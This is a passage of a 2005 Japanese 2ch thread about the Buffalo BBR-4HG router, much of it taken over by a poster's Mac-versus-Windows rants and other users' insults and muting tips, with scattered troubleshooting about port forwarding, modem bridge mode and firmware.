377 :歌唄いメセナ♪ ◆OHQ5SO6eaI :05/02/17 21:31:07 ID:5VdzLsdK
>>370
馬鹿馬鹿とうるせー。

>373が荒らしでいいのか?

378 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 21:35:25 ID:iYeiFBMg
>>369

あともう1つ言っておくと、私はWindows自体を
三流品でポンコツと言っているのであって、
PCのハードウェア自体を批判しているわけじゃ
ないですからね。

ま、インテルのチップは糞だと思ってますが。┐(´ー`)┌

379 :不明なデバイスさん:05/02/17 21:35:33 ID:zMxYfZOw
      ./       ;ヽ 
      l  _,,,,,,,,_,;;;;i  <いいぞ ベイべー!
      l l''|~___;;、_y__ lミ;l  荒らしに構うやつはみんな荒らしだ!!
      ゙l;| | `'",;_,i`'"|;i |  荒らしをスルーできるのはよく訓練された2ちゃんねらだ!!
     ,r''i ヽ, '~rーj`c=/ 
   ,/  ヽ  ヽ`ー"/:: `ヽ
  /     ゙ヽ   ̄、:::::  ゙l, ホント 2ちゃんねるは地獄だぜ! フゥハハハーハァー
 |;/"⌒ヽ,  \  ヽ:   _l_        ri                   ri
 l l    ヽr‐─ヽ_|_⊂////;`ゞ--―─-r| |                   / |
 ゙l゙l,     l,|`゙゙゙''―ll___l,,l,|,iノ二二二二│`""""""""""""|二;;二二;;二二二i≡二三三l
 | ヽ     ヽ   _|_  _       "l ̄ ̄ ̄ ̄ ̄ ̄ |二;;二二;;二=''''''''''' ̄ノ
 /"ヽ     'j_/ヽヽ, ̄ ,,,/"''''''''''''⊃r‐l'二二二T ̄ ̄ ̄  [i゙''''''''''''''''"゙゙゙ ̄`"
/  ヽ    ー──''''''""(;;)   `゙,j"  |  | |

380 :不明なデバイスさん:05/02/17 21:39:46 ID:Nb0zohtI
もはや壇期より構ってるヴォケの方がウザ

381 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 21:40:26 ID:iYeiFBMg
マイクロソフトしかりインテルしかり、汚い手を使ってまで
自社の製品を強制的に使わせようとする会社にロクな製品は
作れないと思ってますし、良い製品なら本来自然と売れるハズですが、
黙っていては売れないような製品だからこそ、法を犯してまで脅迫
して売らざるを得ないわけです。┐(´ー`)┌

382 :不明なデバイスさん:05/02/17 21:45:03 ID:By79KlZ/
>>374
検索すれば分かる(^-^;

>379も荒らし

383 :不明なデバイスさん:05/02/17 21:46:06 ID:zMxYfZOw
そうだぞ、俺は荒らしだ。
俺に構うな。早く逝けー。

384 :不明なデバイスさん:05/02/17 21:47:57 ID:fmd2QKWe
>>382
そうか、ちょっとググってくるよ

385 :不明なデバイスさん:05/02/17 21:57:17 ID:By79KlZ/
>>384
qb3 とか qb5 で暴れまわった香具師だ
報告は正確なんだがある問題が・・・

386 :歌唄いメセナ♪ ◆OHQ5SO6eaI :05/02/17 22:19:21 ID:5VdzLsdK
http://qb5.2ch.net/test/read.cgi/sec2chd/1108597953/13-15
逝ってきた

387 :不明なデバイスさん:05/02/17 22:23:08 ID:v4OAEF+m
フレにネットワーク構築頼まれて、自分の家でもBBR-4HG使って満足してたので
同じので構築、しかし繋がらないクライアントのほうもきちんと設定してあるか確認のため
自分の家から同じ4HGを持って、繋げてきたらあっさり。

ネットワークアドレス取得で、何度やってもコケルのは初期不良
ってことですかね?
最近買うもんほとんど初期不良で怖い、俺なんか電波でてんのか。

388 :不明なデバイスさん:05/02/17 22:28:57 ID:gdeE5mJl
別の繋いでちゃんとなるなら
おまじないリセットぐらいしか手は無さそう

駄目なら《゚Д゚》ゴラァァァァァァァァァァァァア!!

389 :不明なデバイスさん:05/02/17 22:37:05 ID:FjdHJ/G1
>>386
乙です

>>387
初期不良のヨカーン

390 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 22:46:56 ID:iYeiFBMg
>387
>最近買うもんほとんど初期不良で怖い、俺なんか電波でてんのか。

ソニーや三菱、バッファロー製品ばかり
買ってたりして・・・。(・∀・)

391 :不明なデバイスさん:05/02/17 23:08:21 ID:4Xvqz+PQ
>>386
そこは保守ageする人を報告するところだと・・・

392 :不明なデバイスさん:05/02/17 23:11:28 ID:aF1NqDmA
こんばんは マカーです

Windowsだって長所がたくさんあると思います
っていうか、Windowsも使ってます

数々のご無礼をなにとぞご容赦ください

393 :不明なデバイスさん:05/02/17 23:35:00 ID:By79KlZ/
>>391
削除依頼よろしく

削除人経由だと即刻アク禁

↓参照
【削除人専用】 消してもきりがない報告スレ 4
http://qb5.2ch.net/test/read.cgi/sec2chd/1099917655/l50

394 :不明なデバイスさん:05/02/17 23:45:46 ID:HHvtWeTy
これだけローカルルール違反が横行するスレも珍しいな

395 :お団子ちゃん ◆DANGOpn1U2 :05/02/17 23:47:56 ID:iYeiFBMg
>392

Windowsの長所ってのは、Win_OSそのものじゃなくて、
ソフトやコンテンツの充実など環境のメリットであって
Win_OSそのものの長所ではないんだよね。


396 :不明なデバイスさん:05/02/17 23:48:39 ID:gdeE5mJl
基本的に優しい奴が多いのかな

397 :不明なデバイスさん:05/02/18 00:01:54 ID:llFbZRFv
そろそろ狐でも召喚するか・・・・好きじゃないが・・・・

398 :不明なデバイスさん:05/02/18 00:07:11 ID:Mc6WSZw6
こんな小物荒らし、一切相手にせずに板違いの話を延々と続けるって削除依頼出せばいいじゃん。
相手するから話がつながってて削除依頼も出せない。

399 :不明なデバイスさん:05/02/18 00:08:00 ID:cv2gzteA
>ソフトやコンテンツの充実など環境のメリット

これなくしてパソコンは使えない。 分けて話する事がおかしい。
文句があるならお前はAPPLEのソフトだけ使ってろ。
現にADOBEですらWIN版にも気合い入れたバージョン出してる。
マクロメディアなどになればFLASHなんかWin版の方が完全に優位。
マイクロソフトはそんな好きじゃないが、他の会社との連携には優れている。
実際、今のAPPLEには昔のようなカリスマはない。

400 :不明なデバイスさん:05/02/18 00:12:28 ID:Mc6WSZw6
また馬鹿一匹

401 :不明なデバイスさん:05/02/18 00:18:13 ID:FOf8CWUA
>>398
話が繋がっていても関係ないレスは >399 も含めて全て・・・

402 :不明なデバイスさん:05/02/18 00:25:53 ID:obeGGNpe
新しいスレ立てて移住しようぜ。

403 :不明なデバイスさん:05/02/18 00:28:12 ID:Mc6WSZw6
この板避難所ないの?

404 :不明なデバイスさん:05/02/18 00:31:17 ID:PKZ10QqA
>>390

おめーの好きなappleだよ。
ipodな。Sonyは嫌いトリニトロンは好きだったがなぁ。
三菱は論外嫌いなメーカーだしまぁうちは松下信者。

405 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 00:31:46 ID:5bt7Xp2+
>399

この前どこそやに、Appleが一連のiアプリProアプリを開発する
きっかけになったのは、Photoshopに一般人向けのムービー編集
ソフトを作ってくれとお願いしたらノーと言われたことがきっかけに
なったと書いてあった。

正直こてこてAdobeに会社にAppleの様にシンプルで使い易いソフトが
作れるわけはないので、この記事読んだ時にもしその時にAdobeが
ノーと言わなかったらと考えるとガクブルしたよ。((((;゚Д゚)))

それと同時に6月に発売されると予想されている次期Mac OS Xには
Core Imageが搭載され、画像や動画にリアルタイムでエフィクトを
かけられるフィルターが多数標準搭載されることもあり、Appleが
画像編集ソフトを出してくれたらと期待を寄せている。

Appleさえその気になれば、Potoshopの今の地位などいとも簡単に
塗り替えられてしまうだろうね。

ま、Elementの様な類のソフトまで、あんなにコテコテで重量級
にしか作れないような会社は一線から退いてくれて方がユーザーの
為だしね。┐(´ー`)┌




406 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 00:32:53 ID:5bt7Xp2+
【Core Image】

http://www.apple.com/jp/macosx/tiger/coreimage.html

【Mac OS X Tiger】

http://www.apple.com/jp/macosx/tiger/spotlight.html

407 :不明なデバイスさん:05/02/18 00:38:02 ID:cv2gzteA
>405
寝言は寝てから言え。
今MacからADOBE取ったら何が残るんだボケ。
お前の推量などだれも信用しない。
文句があるなら今のMacのシェアをどう説明する?
以前の国内シェアは30%程度だったのに今は消費税にも満たない。
それにOSXが優れているというが、単にAPPLEがUNIX系最大の
デスビだからだろうが。
仕方なしな部分がこのシェアにも関連していると考える方が普通。

408 :不明なデバイスさん:05/02/18 00:41:51 ID:Mc6WSZw6
あんたたちがそうやっていつまでも板違いのネタを続けることにうんざりしている人が居ることにいいかげん気付け。

409 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 00:42:50 ID:5bt7Xp2+
>407

AppleはいつAdobeとケンカしてMac版の
Potoshopが無くなっても良いように、Apple製のPro向け
グラフィックスソフトをひそかに作っているとにらんでいる。

Final Cutが瞬く間に動画編集ソフトの勢力関係を塗りかえて
しまったように、もしAppleがその気になればAbobeはひとたまりも
ないだろうね。

410 :不明なデバイスさん:05/02/18 00:43:34 ID:FOf8CWUA
>>402
言い出しっぺがやる法則

411 :不明なデバイスさん:05/02/18 00:44:57 ID:Mc6WSZw6
立てたらそっちにも来るだろが。

412 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 00:46:58 ID:5bt7Xp2+
>>407

以前も言ったようにAppleのシェアが少ないのは、
Mac OSのライセンスをしていないのが最大原因であって、
同じ条件でWinとMacをライセンスしたら、Winは勝てない
と思うよ?

413 :不明なデバイスさん:05/02/18 00:47:54 ID:cv2gzteA
>409
馬鹿かお前。
いくらAPPLEが不要と思っても、業界はそういうわけにはいかない。
それ様の機材を一切リプレースするのにいくら掛かると思ってるんだ。
だからお前はトウシロウなアマちゃんなんだよ。

414 :不明なデバイスさん:05/02/18 00:48:48 ID:cv2gzteA
>412
じゃやってみたら? お前には出来まい? 夢見後心地の馬鹿が。

415 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 00:49:15 ID:5bt7Xp2+
>413

機材ってなによ?

416 :不明なデバイスさん:05/02/18 00:49:59 ID:Mc6WSZw6
とうしろでもあまちゃんでもどうでもいいよ。


ああ、プロバイダ変えてまで自演か。ご苦労なこった。

417 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 00:50:24 ID:5bt7Xp2+
>>414

は?
AppleのOSを私が他社にライセンス提供しろと?┐(´ー`)┌

418 :不明なデバイスさん:05/02/18 00:51:23 ID:FS/zpzZJ
また記事がとんでるな。まぁ見えないからいいか。

419 :不明なデバイスさん:05/02/18 00:52:44 ID:cv2gzteA
>機材ってなによ?
頭あるのかお前?
機材がいるだろうよ。 普通・・・ 印刷屋にMacだけで仕事できるか?
放送業界も同じだぞ。 

>AppleのOSを私が他社にライセンス提供しろと
現状を見てはなせといってるんだよボケ。
「と思うよ?」と書いてるだろうが。

420 :不明なデバイスさん:05/02/18 00:54:27 ID:Mc6WSZw6
cv2gzteAは馬鹿だな。

421 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 00:57:03 ID:5bt7Xp2+
>>419

AdobeのPhotoshopをApple製のグラフィックソフトに
入れ替えることでいったいどんな機材の入れ替えも必要になるのか
具体的にしめしてくれないか?


422 :不明なデバイスさん:05/02/18 00:58:56 ID:cv2gzteA
>421
チンバカだね君は。
じゃ色味なんかどうやって決定してるんだい?
まさか色域領域はOS依存だとは言わないよね?

423 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 01:03:58 ID:5bt7Xp2+
>>407
>以前の国内シェアは30%程度だったのに今は消費税にも満たない。

今、パソコン売って稼げてるのはAppleとDellぐらいと言われているが、
シェアが高くても儲からなければ話にならない。

MacOSのシェアを高めるだけなら、他社にライセンス提供すれば
自ずと上がるだろうが、それでApple自身が今以上に儲かる保証は
ないし、Mac自体が向上するとも限らない。

今のような質の高いMacを維持する為に、MacOSの独占利用が
必要だと言うのならその方がよっぽどいいと思うけどね。

424 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 01:05:17 ID:5bt7Xp2+
>>422

チンバカ君にも分かるように具体的に機材と、
それを変更することによるコストがそれほど大きく
困難なことなのか、説明して下さい。


425 :不明なデバイスさん:05/02/18 01:06:27 ID:cv2gzteA
>423
何話しずらしてるんだボケが。
勝手な推量で話ごまかすな。

426 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 01:07:07 ID:5bt7Xp2+
>>422

それと、なぜ動画ソフトの場合にはFinal Cut Proへの移行が
スムーズに行われ、それが動画編集ソフトだと難しいのか
チンバカにも分かるように説明をお願いします。

427 :不明なデバイスさん:05/02/18 01:08:16 ID:FOf8CWUA
誰か削除要請してこい
hard:ハードウェア
http://qb5.2ch.net/test/read.cgi/saku2ch/1031104557/l50

428 :不明なデバイスさん:05/02/18 01:09:03 ID:cv2gzteA
>424
セッタの値段調べたら? とりあえず。 ↓

                 http://www.google.co.jp

あと、不安定なモノ作っても業界はすぐには動かないよ。
OSXni移行できなかったろ? すぐに? 知らないとは言わないよな?


429 :不明なデバイスさん:05/02/18 01:09:03 ID:XAejaScn
レス番飛びすぎ
反応するやつも荒らし。
放置覚えろ。

430 :不明なデバイスさん:05/02/18 01:10:37 ID:cv2gzteA
>
>Final Cut Pro
あんたおかしいよ。
どこがスムーズに移行できたってんだよ?
ダレから聞いた話してるんだい? 

431 :不明なデバイスさん:05/02/18 01:10:42 ID:Mc6WSZw6
ここはマックのスレになりました。

432 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 01:11:44 ID:5bt7Xp2+
>>428

セッタはPhotoshopじゃないと使えない代物なのですか?
画像編集ソフトを他社の物へ入れ替えると、セッタとやらも
買い替えなければならなくなるのですか?

チンバカなのでよろしくお願いします。


433 :不明なデバイスさん:05/02/18 01:33:32 ID:YBZM+qfE
Windows立ち上がると、SVCHOSTがルータのアドレスに
TCP:5440でアクセスしようとしてるんだけど、これって何?

434 :不明なデバイスさん:05/02/18 01:40:48 ID:wZ4pLa+y
なんかMACを必死に擁護してる奴って
「VHSは糞、ベータの方が繋ぎ撮りキレイなのに」とか
「PSは糞、DCの方が映像キレイなのに」とかいってソフトを含めての周辺を
一切見てないキチガイみたいだな。



過去の俺なんだがな。

435 :不明なデバイスさん:05/02/18 01:51:58 ID:ediLwAGm
今日のオナニーショーはもう終わった

436 :不明なデバイスさん:05/02/18 01:56:53 ID:obeGGNpe
なぁ、ID:cv2gzteAよ、
引用は >>436 みたいに番号もつけてくれないか。
お前のレスも自動であぼ〜んしたいから。

437 :DSLa104.w6.eacc.dti.ne.jp:05/02/18 02:32:13 ID:yoTDlTeQ
hard:ハードウェア[レス削除]
http://qb5.2ch.net/test/read.cgi/saku/1031029214/177-180

出してきたよ。

438 :不明なデバイスさん:05/02/18 02:34:30 ID:QN3RJNkR
あれ、ここってOSスレ?

439 :不明なデバイスさん:05/02/18 03:18:01 ID:PKZ10QqA
>>438
俺にはルータースレだよ。
番号飛び飛びだけどね。

440 :不明なデバイスさん:05/02/18 03:21:56 ID:2TuhJHAL
>>437


441 :不明なデバイスさん:05/02/18 08:16:09 ID:5I2pf122
団子は市ね。団子の相手をするやつは2回市ね

442 :不明なデバイスさん:05/02/18 09:05:01 ID:oaIOAlKn
>>441
であ、早速2回市ね

443 :不明なデバイスさん:05/02/18 11:33:20 ID:Y8A8FleF
先陣切って市ね、言いだしっぺなんだから市ね

444 :団子:05/02/18 11:43:29 ID:PV2JMMkR
団子かまいたいやつは名前に団子って入れろ。


445 :不明なデバイスさん:05/02/18 14:10:15 ID:2TuhJHAL
>>444
.._ .......、._    _ /:/l!            
 :~""''.>゙' "~ ,、、''‐'、|         _   
゙、'、::::::ノ:::::::_,.-=.  _〜:、         /_.}'':, まぁまぁ、落ち着きなされ・・・
 ``、/:::::::::__....,._ `゙'Y' _.ェ-、....._ /_゙''i゙ノ、ノ
 ,.--l‐''"~..-_'.x-='"゙ー 、`'-、 ,:'  ノ゙ノブ  
"   .!-'",/  `'-‐'') /\ `/ でノ-〈   
 .-''~ >'゙::    ‐'"゙./  ヽ.,'   ~ /   
   //:::::       ',    /    ,:'  

446 :不明なデバイスさん:05/02/18 14:46:45 ID:ediLwAGm
また今晩もオナニーショーが有るのか
正直対応策を練った方が良いんじゃない

447 :不明なデバイスさん:05/02/18 14:48:44 ID:Mc6WSZw6
対応策:
相手にしない
避難する

448 :不明なデバイスさん:05/02/18 18:25:46 ID:4sULrj7R
対応策その2:
専用ブラウザを使っているなら、NGワードに指定してあぼーんする

449 :不明なデバイスさん:05/02/18 18:32:03 ID:Sk7KYU0Z
オナニショーは毎日19時〜1時の間に行っております。
昼間バイトが社会人と予測。
この時間帯を無視すれば腹もたたない。



450 :不明なデバイスさん:05/02/18 18:33:21 ID:vNgqqAMm
機能してないけどな

451 :不明なデバイスさん:05/02/18 18:54:27 ID:QnCVuqnQ
まもなくダンゴショーがはじまります

452 :不明なデバイスさん:05/02/18 18:59:25 ID:Mc6WSZw6
みんなうれしそうだな。
やっぱり本当は団子が好きなんだ。

453 :不明なデバイスさん:05/02/18 19:28:42 ID:FCU+2NU+
だんごは家族なんです

454 :不明なデバイスさん:05/02/18 19:33:01 ID:Mc6WSZw6
だんご大家族です。

455 :不明なデバイスさん:05/02/18 19:36:56 ID:ifB9lclK
つか、なんであんなバカに気ぃ使って
こっちが遠慮しなきゃいけないのかがムカつくんだよな。

456 :不明なデバイスさん:05/02/18 19:38:39 ID:Mc6WSZw6
スレ違いの話題は無視して遠慮なく使ってください。

457 :不明なデバイスさん:05/02/18 20:20:13 ID:tWwviGa+
あんなアスペルガーによくムカつけるな

458 :不明なデバイスさん:05/02/18 21:05:53 ID:2MIm8Znr
このスレもこの機種も終わったな。

459 :不明なデバイスさん:05/02/18 21:22:58 ID:Ku8hcctz
確かにここは糞スレと化したが、オイラのBBR-4MG改は今日も無問題

460 :不明なデバイスさん:05/02/18 22:05:34 ID:9bSLaLgt
ハゲドウ

461 :不明なデバイスさん:05/02/18 22:43:13 ID:ediLwAGm
安定ファームって事では1.10でFA?

462 :お団子ちゃん ◆DANGOpn1U2 :05/02/18 22:59:09 ID:5bt7Xp2+
何だか今日はスレが荒れ気味ですね。(´・▽・`)

【今日のコピペ】

商業映画の世界では、HD編集に対応した米アップルコンピュータ(Apple Computer)社の『Final Cut Pro HD』の導入が急速に進んでおり、
数多くの事例(公開映画)も出てきているが、Adobe Premiere Proの導入事例に
ついては、米国のインディペンデント(自主制作)作品の紹介に留まっている。

http://mac.ascii24.com/mac/news/misc/2005/02/17/654340-000.html

463 :不明なデバイスさん:05/02/18 23:33:17 ID:A3gpQ+c2
>>462
そんなもん一部の業界が使うだけ
オマイは、使えないし買うことも出来ないだろう
Macは、ソフトが無く使い物にならないただのゴミ
いや処分するのにも金掛かるからゴミ以下だな

464 :不明なデバイスさん:05/02/18 23:40:27 ID:ediLwAGm
今日もまたオナニーショーがぁ〜

465 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 01:00:11 ID:04e+CMBe
>>463

Windowsには無い動画編集ソフト(Final Cut Pro)が
動画編集ソフトのスタンダードになって来ていることが
相当悔しかったようだね。┐(´ー`)┌


466 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 01:04:14 ID:04e+CMBe
Mac出身のソフトでもサードパティーの物ならWindowsでも
使える時代にはなったが、Apple純正のソフトじゃWinユーザーでは
どうすることも出来ないのが悔しいんだよね。

おまえにApple純正ソフトはどれも評判は天下一品だし。┐(´ー`)┌

467 :不明なデバイスさん:05/02/19 01:05:26 ID:0TPLGYhY

>>各位
徹底スルーで。レス厳禁



468 :不明なデバイスさん:05/02/19 01:08:59 ID:TILQVsIh
ハブ買おうと思ったけど、
3000円だったのルーター買っちゃった。

469 :不明なデバイスさん:05/02/19 01:13:16 ID:Fxp1HzQs
omaemonaxa >467

470 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 01:20:05 ID:04e+CMBe
アドベやマクロメディアなどを初め、Windowsでスタンダードに
なってるソフトって、Mac出身の物が多いのは何でだろうね?

やっぱ粗悪なWindows環境からは良い物は生まれ難いって
ことなんだろね?┐(´ー`)┌

471 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 01:21:06 ID:04e+CMBe
アドビだった。(・∀・;)


472 :不明なデバイスさん:05/02/19 02:05:31 ID:iOSKdvXb
団子は、無視でこれ最強だな

473 :不明なデバイスさん:05/02/19 03:30:42 ID:XMGZz6WY
このルータ
例えば192.168.1.6のTCP 5000を空けたら
他のPCでは5000は空けられないみたいですね。

登録しようとしたら既に登録されていますってエラーが出ます。
おまけにアドレス変換の作業中によく固まります。

それとルーターを横にしたらWANのリンクが切断されます。
これは不良品でしょうか?
まだ買って3日目です。

474 :不明なデバイスさん:05/02/19 03:31:39 ID:XMGZz6WY
↑は4HGです

475 :不明なデバイスさん:05/02/19 04:04:03 ID:VCYvI69s
>>473
>他のPCでは5000〜
もっとルータについて勉強して。

>ルーターを横にしたら〜
BUFFALOに聞いたほうが確実だと思われ。
ここで返事が欲しいのなら環境とか試したことを
詳しく書いてもらわんとエスパー以外はわからん。

476 :不明なデバイスさん:05/02/19 04:17:18 ID:Y+ScDujL
BBR-4HGを導入したら、ADSLモデムの設定画面(http://web.setup/から入る)
にログインできなくなりました。
WAN側にアクセスできていないのだと思いますが、どのようにすればよいでしょうか?

477 :不明なデバイスさん:05/02/19 04:23:17 ID:VCYvI69s
>>476
ADSLモデムをルータモードからブリッジモードに変更して下さい。
やり方はモデムのマニュアル、メーカサイトを参照。

どうしても分からなければモデムの機種名を書いてください。

478 :不明なデバイスさん:05/02/19 04:30:55 ID:dgLAyo5A
>>473
ポート解放するだけなら、別にアドレス変換しなくてよかろうに。
まあこまかい設定ができないのは確かだけど、家庭用ルーターに
そこまで必要かな? 低価格モデルだし。

ちなみにアドレス変換の設定中に固まったことはないな。
というか、このルーター買ってすぐファーム1.10にして
2カ月ほど使ってるが、まだ一度も固まったことはない。
横にすると切断されるってことなので初期不良かもしれない。
ケーブルなんかもあやしいけど。

479 :不明なデバイスさん:05/02/19 04:51:35 ID:VCYvI69s
>>478
ポート開放はアドレス変換のページだと思うが。。。
まぁそれはおいておいて、彼がやりたいのは↓こんなんだろ

             [Server1] Port:5000
[WAN] → [4HG]<
             [Server2] Port:5000

そんな静的アドレス変換出来ません。
IPを複数持ってるなら別ですが。。。。

480 :不明なデバイスさん:05/02/19 09:00:07 ID:XTbhz2f9
>>466
Apple純正のソフトなんていらね
Apple純正のソフト使うくらいならフリーソフトで十分でしょう┐(´ー`)┌


481 :不明なデバイスさん:05/02/19 09:05:24 ID:A7XOsjKf
空白にレスしてるのがいるな

482 :不明なデバイスさん:05/02/19 09:26:03 ID:vRvdgMuw
>>ALL
徹底スルーで。レス厳禁

483 :不明なデバイスさん:05/02/19 11:58:42 ID:cFGyMQKS
了解

484 :不明なデバイスさん:05/02/19 12:14:19 ID:VPF7Kavg
OpenJane Doe の場合
「設定」→「設定」。「機能」→「あぼーん」
過去のレスも消す場合
上記設定後「再読込みβ」

485 :不明なデバイスさん:05/02/19 13:03:07 ID:A7XOsjKf
ホットゾヌ2の場合

ツール→アクション設定→新規追加→アクション詳細タブ
→対象:「ハンドル」にチェック
→条件:「指定文字列が含まれる」→含まれる文字:該当HN
※対象をトリップのみにして「指定文字列が含まれる」にしたほうがやりやすいかも
→動作:非表示
※「>>nポップアップでも非表示」「連鎖消去」は好みでチェック
→「有効にする板」タブで適用する板をチェック
※デフォでは「現在表示している板」。または、「以下の一覧から選択」で適用したい板を選ぶか、
「全部の板で有効」にチェックを入れる

で、「OK」を押して設定が終わったら「現在開いているスレッドに適用する」
を押せば該当レスが一気に透明あぼーんになる。

486 :不明なデバイスさん:05/02/19 13:24:29 ID:nbkwcI85
ぎこなびの場合
ツール(T)=>NGワードファイル編集(N) で設定 (再起動後 or ↓をやるまで有効にならない)
ツール(T)=>NGワード読み込み(G)=>再読み込み(Y) で有効

487 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 17:26:19 ID:04e+CMBe
【今日のコピペ】

■Gartner、MSのセキュリティ戦略は「展望を欠く」と批判

調査会社Gartnerは、MSが最重点目標とすべきは、セキュリティ対策製品の必要を
なくすことであり、セキュリティ市場に参入することではないと批判している。

http://www.itmedia.co.jp/enterprise/articles/0502/19/news009.html

ごもっとも・・・。
と言うか、WindowsをセキュアなOSにすることは無理だと事実上
マイクロソフトが認めた証とも言えますがね。
ま、独占を悪用してライバルを潰すことしか脳の無い会社ですし。┐(´ー`)┌

488 :不明なデバイスさん:05/02/19 17:35:27 ID:Ybj5uALd
>>484-486
神感謝

489 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 17:52:52 ID:04e+CMBe
Windowsユーザーがせっせと一太郎やロータスを使っていたころ、
Macではワード&エクセルを使っていて、いつの間にやらWindows
ユーザーにもそれが浸透しました。

昨日挙げたアドビやマクロメディアだけでなく、良い物はMacから
生まれている事実を見れば分かるように、君たちWidnowsユーザーの
環境が充実したのも、全てはMac有ってこそだと言う事実を認識して
置いた方が良いですよ。

もちろんその代表がWindowsであると言う事実もね。┐(´ー`)┌

490 :不明なデバイスさん:05/02/19 17:56:08 ID:SLPYJQHz
WHR-G54が安定してなくて101化したら安定したんだけど
これってほかの機種でも有効なんだな

491 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 18:00:30 ID:04e+CMBe
Macがなければ今のパソコンの発展は無かったであろうことは、
ライバル会社でありながら、Appleのファンである、会長のゲイツや
最高技術責任者である古川 享の方がよっぽど君たちより
実感していることでしょうよ。┐(´ー`)┌

492 :不明なデバイスさん:05/02/19 18:07:43 ID:Ybj5uALd
>>491が飛んだ!いやはやスバラシイですな

493 :不明なデバイスさん:05/02/19 18:08:32 ID:Xl35dQlY
要はADSLモデムとの兼ね合いなんじゃないの
192.168.11.〜ってNTTが使ってんじゃ?

494 :不明なデバイスさん:05/02/19 18:10:21 ID:Ybj5uALd
WHR-G54もデフォが192.168.11〜なのか。
バファロの無線機種だと192.168.12.〜ってのもあったな

495 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 18:12:42 ID:04e+CMBe
楽曲のオンライン販売を見ても分かるように、
アップルがミュージックストアが大成功を納め、
それをマイクロソフトも真似て後追いしている現実を見ても、
如何にAppleがパソコン環境を牽引して来たのかが、
理解できると思います。

そして常にマイクロソフトはAppleの後追いをしてマネばかりしても、
常にAppleを超える物が作れない現実もね。┐(´ー`)┌


496 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 18:54:58 ID:04e+CMBe
>407
>文句があるなら今のMacのシェアをどう説明する?

君にはMacのシェアが下がった原因が見えていないようだから、
バカにも分かるように説明して上げるよ。┐(´ー`)┌

Macでしか使えないソフトが多くあった時代とは違い、
現在はMacで人気のソフトはWindowsでも使える時代になった。

それが何を意味するかと言えば、高価だったMacを敢えて選ぶ
魅力が半減したことでもあり、同じソフトが動作するのならば、
OSがライセンス提供されている広くて安い環境にユーザーが
流れて行くのは当然だと言えるだろう。

必要とする物がいくら高価でもそれでしか使えないのならば、
人は金を惜しまないであろうが、少々OSがダメであろうとも、
同じソフトが安い環境で手にはいるのならば人は流れる。

だからこそ、Macには価格の安いモデルの投入や、Win/Mac共に
作られるサードパーティー製のソフトではなく、iTunes 、iMovie、
iPhoto、iDVD、Garagebandや、プロ向けのFinal Cut Pro、
Shake、DVD Studio Pro、Motion、Logic Proなど、
Macだけのソフトウェア環境が必要なのだ。

497 :不明なデバイスさん:05/02/19 19:17:07 ID:Fxp1HzQs
なんか、知り合いのSEさんに 192.168.0.??? はやめとけって言われるんですが、
やはりやめた方が良いのですか? メルコもそれで 11 になってるのかな?

498 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 19:21:34 ID:04e+CMBe
Macと言えばグラフィックス、コンピューターミュージックと言われた
時代があり、人気のPhotoshopやCubesやLogicも当時はMac版しか
存在しなかったし、Windowsの代表ソフトとも言えるエクセルでさえも、
Mac版しか存在しなかった。

現在でも第一線で生き残っているほどのソフトが、Macでしか使うことが
出来なかった頃とは違い、現在は同じソフトをWindows環境でも使うことが
できる。

要するにMacのシェアの低下、それはサードパーティーソフトの
Windows環境への進出が大きな要因になっているのだ。

ここで面白い事実は、Windowsでスタンダードになっていたソフトは、
Mac発のソフトによって塗り替えられてしまったところだ。

一頃、Windowsと言えば一太郎だったと言うのに、今やその影すらないほど、一般ユーザーの記憶からも忘れられた存在にまでなっている。

パナソニックに特許違反で訴えられ、久々に耳にしたぐらいだ。┐(´ー`)┌


499 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 19:28:36 ID:04e+CMBe
だからこそ、グラフィックスと言えばMacと言われた時代を取り戻すべく、
ぜひ、Appleが純正グラフィックスソフトを登場させて欲しいと思うし、
それが現実になれば、あまりに重量級に成り過ぎたPhotoshopから、
ユーザーが移ってくるのもそう時間が必要ではないだろうし、
いつまでもこんなソフトが幅を利かせていると、軽くて良いソフトが
生まれて来なくなってしまうので、打倒Adobe!┐(´ー`)┌

500 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 19:29:45 ID:04e+CMBe
↓忘れ物

話が長くなってしまったが、ようするにMacのシェアを
向上される為には、Mac専用のアプリの存在が重要だと言うことだ。

だからこそ、グラフィックスと言えばMacと言われた時代を取り戻すべく、
ぜひ、Appleが純正グラフィックスソフトを登場させて欲しいと思うし、
それが現実になれば、あまりに重量級に成り過ぎたPhotoshopから、
ユーザーが移ってくるのもそう時間が必要ではないだろう。

501 :お団子ちゃん ◆DANGOpn1U2 :05/02/19 19:31:40 ID:04e+CMBe
反応がないけど、もしかして、みんな本当に
あぽーんしてるの?(´・▽・`)

502 :不明なデバイスさん:05/02/19 19:47:59 ID:vg/Bjs3z
>497 あんまり良い話聞かないしな…
冒険して安定性を欠く博打なら、それなりの覚悟が必要かと。
それとも11だと、何か不都合でもあるの?

503 :不明なデバイスさん:05/02/19 19:50:46 ID:i9Aaia0Q
>>502
番号が若いとバッティングする確率は高くなるかも
プライベートアドレスなCATVとか

504 :お男子ちゃん ◆DANGOpn1U2 :05/02/19 20:02:45 ID:04e+CMBe
Windowsが何故ダメなのか・・・。

付ける機能と敢えて省く機能。
その両方の選択を間違いなくやるセンスの良さがなければ、
使い易いソフトは作れない。

